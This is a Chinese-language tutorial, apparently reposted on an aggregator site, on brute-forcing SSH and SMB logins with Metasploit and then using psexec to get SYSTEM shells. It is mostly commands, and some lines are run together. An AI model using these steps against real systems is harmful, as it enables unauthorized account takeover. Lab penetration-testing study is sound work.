当前位置: 首页 > news >正文

如何使用Metasploit进行暴力破解的详细步骤

使用 Metasploit 进行暴力破解的核心是利用其内置的 auxiliary/scanner 模块,通过字典攻击获取目标服务的登录凭证。以下是 分步骤的详细操作指南,以最常用的 SSH 服务 和 SMB 服务 为例,覆盖从环境准备到结果利用的全流程:

一、前期准备

1. 启动 Metasploit 并初始化数据库(推荐)

数据库可自动保存破解结果,方便后续调用:

bash

运行

# 启动 PostgreSQL 数据库服务(Kali 默认预装)
sudo service postgresql start# 初始化 Metasploit 数据库(首次使用需执行,后续无需)
sudo msfdb init# 启动 Metasploit 控制台
msfconsole
2. 准备字典文件

暴力破解依赖用户名字典和密码字典,推荐使用 Kali 自带字典:

  • 用户名字典:Linux 系统:/usr/share/wordlists/metasploit/unix_users.txtWindows 系统:/usr/share/wordlists/metasploit/windows_users.txt
  • 密码字典:解压 rockyou.txt(包含海量弱密码):

    bash

    运行

    # 在 Kali 终端执行(无需进入 msfconsole)
    gunzip /usr/share/wordlists/rockyou.txt.gz  # 解压后路径:/usr/share/wordlists/rockyou.txt
    
  • 自定义字典:若已知目标特征(如设备型号、用户名格式),可手动创建 user.txt 或 pass.txt(每行一个条目)。

二、暴力破解实战(以 SSH 服务为例)

目标:破解 192.168.1.5 的 SSH 服务(如 Metasploitable 靶机)。

步骤 1:查找并加载 SSH 暴力破解模块

Metasploit 的暴力破解模块集中在 auxiliary/scanner 目录下:

bash

运行

# 在 msfconsole 中搜索 SSH 暴力破解模块
search type:auxiliary name:ssh_login# 加载模块(通常第一个结果即为目标模块)
use auxiliary/scanner/ssh/ssh_login
步骤 2:查看并配置模块参数

通过 show options 查看必填参数,重点配置以下内容:

bash

运行

# 查看参数列表
show options# 配置目标 IP(必填)
set RHOSTS 192.168.1.5# 配置用户名字典路径(必填)
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt# 配置密码字典路径(必填)
set PASS_FILE /usr/share/wordlists/rockyou.txt# 配置并发线程数(默认 1,建议 5-10,过高可能被拦截)
set THREADS 5# 开启详细输出(可选,实时查看破解过程)
set VERBOSE true# 配置超时时间(可选,默认 30 秒,网络慢可加大)
set TIMEOUT 60
步骤 3:执行暴力破解

bash

运行

# 启动破解(run 或 exploit 均可)
run
步骤 4:查看破解结果
  • 破解成功时,控制台会实时显示凭证:

    plaintext

    [+] 192.168.1.5:22 - Success: 'msfadmin:msfadmin'
    
  • 若启用了数据库,可通过 creds 命令查看所有保存的凭证:

    bash

    运行

    creds  # 列出所有已获取的用户名和密码
    

三、暴力破解实战(以 SMB 服务为例)

目标:破解 192.168.1.4 的 SMB 服务(Windows 靶机)。

步骤 1:查找并加载 SMB 暴力破解模块

bash

运行

# 搜索 SMB 暴力破解模块
search type:auxiliary name:smb_login# 加载模块
use auxiliary/scanner/smb/smb_login
步骤 2:配置模块参数

SMB 服务对并发连接较敏感,线程数需降低:

bash

运行

# 配置目标 IP
set RHOSTS 192.168.1.4# 配置 Windows 用户名字典
set USER_FILE /usr/share/wordlists/metasploit/windows_users.txt# 配置密码字典
set PASS_FILE /usr/share/wordlists/rockyou.txt# 线程数设为 3(Windows 防火墙可能拦截高线程)
set THREADS 3# 开启详细输出
set VERBOSE true
步骤 3:执行破解并查看结果

bash

运行

run  # 启动破解# 成功结果示例:
# [+] 192.168.1.4:445 - Success: 'Administrator:123456' (Domain: WORKGROUP)

四、结果利用(破解成功后操作)

Metasploit 的优势在于破解结果可直接用于后续渗透,无需手动记录:

1. 使用 SSH 凭证登录目标

bash

运行

# 加载 SSH 登录模块
use auxiliary/admin/ssh/ssh_login# 自动读取数据库中的凭证(无需手动输入)
set RHOSTS 192.168.1.5
run# 成功后获取交互式 Shell
2. 使用 SMB 凭证获取 Windows 权限

bash

运行

# 加载 psexec 模块(通过 SMB 凭证执行命令)
use exploit/windows/smb/psexec# 自动关联数据库中的 SMB 凭证
set RHOSTS 192.168.1.4
run# 成功后获取 SYSTEM 权限的 Meterpreter Shell

五、关键参数与高级技巧

参数作用示例
STOP_ON_SUCCESS破解成功后立即停止(节省时间)set STOP_ON_SUCCESS true
USERNAME指定单个用户名(已知用户名时用,替代 USER_FILEset USERNAME msfadmin
PASSWORD指定单个密码(已知密码时用,替代 PASS_FILEset PASSWORD 123456
BLANK_PASSWORDS尝试空密码登录set BLANK_PASSWORDS true
DB_ALL_CREDS使用数据库中已有的凭证进行测试set DB_ALL_CREDS true

六、注意事项

  1. 线程控制

    • Linux 服务(SSH、FTP):线程可设为 5-10。
    • Windows 服务(SMB、RDP):线程建议 2-3(避免触发防火墙或账号锁定)。
  2. 账号锁定风险:部分系统(如企业级 Windows)有登录失败锁定机制(如 5 次失败后锁定 15 分钟),建议先用小字典(前 100 条弱密码)测试。

  3. 合法性:必须在 授权的测试环境 中操作,禁止对未授权目标进行暴力破解(违反《网络安全法》)。

  4. 字典优化:优先使用与目标匹配的字典(如针对路由器用默认凭证字典,针对企业用常见员工名 + 生日组合字典)。

总结步骤

  1. 启动 Metasploit 并初始化数据库 → 2. 准备用户名字典和密码字典 → 3. search 查找对应服务的 login 模块 → 4. use 加载模块 → 5. set 配置目标、字典、线程等参数 → 6. run 执行破解 → 7. 用 creds 查看结果并直接利用。

通过以上步骤,可熟练掌握 Metasploit 暴力破解的核心流程,尤其适合在渗透测试中快速获取目标凭证并推进后续攻击。

http://www.dtcms.com/a/609628.html

相关文章:

  • 力扣刷题251114
  • 63-65 使用工厂方法创建对象,构造函数,构造函数修改
  • swift中VNDetectBarcodesRequest VNImageRequestHandler 是什么?有什么作用?VN是什么意思
  • 二十一、循环神经网络及其变体
  • 添加网站图标浙江杭州
  • 点胶机 东莞网站建设wordpress 分类伪静态
  • 深度搜索 ≠ RAG:厘清两种“智能检索”技术的本质差异与协同可能
  • 世冠科技荣获“天元杯”智能工业软件创新应用大赛“智创先锋奖”
  • 快快科技 MTR 路由检测全面支持 IPv6,多节点覆盖赋能全协议网络诊断
  • 打造景区“视觉中枢”:视频融合平台EasyCVR助力智慧景区安防智能化升级
  • 【VScode卡在正在下载...】
  • 变速箱阀芯上料易错漏?通用 2D 视觉方案高效破局,成汽车制造检测优选!
  • 基于WebSocket + STOMP + SockJS + RabbitMq的聊天室Demo
  • 物流网站的建设方案总结传奇网站源码下载
  • 公司网站是别人做的如何换logo万网ip
  • C语言编译链接过程解析与优化
  • 【Git学习】Git的使用命令1
  • vscode c语言如何编译 | 简单步骤与常见问题解析
  • CSS `border-image` 给文字加可拉伸边框
  • Enum Output Parser in LangChain
  • Problem: lab-week10-exercise02 Building a Fiber Network
  • 在 Linux 环境中配置 Eclipse 以开发 Hadoop 应用
  • 新手如何自己做网站app网站建设存在的困难问题
  • 视觉学习——卷积与神经网络:从原理到应用(量大管饱)
  • java 给鉴权kafka2.7(sasl)发送消息权限异常处理
  • 手机论坛网站源码和卫通app下载
  • 零基础学JAVA--Day32(ArrayList底层+Vector+LinkedList)
  • 了解Bootstrap ——初学者
  • 启动Nginx
  • 手机编程网站网站建设软件是什么意思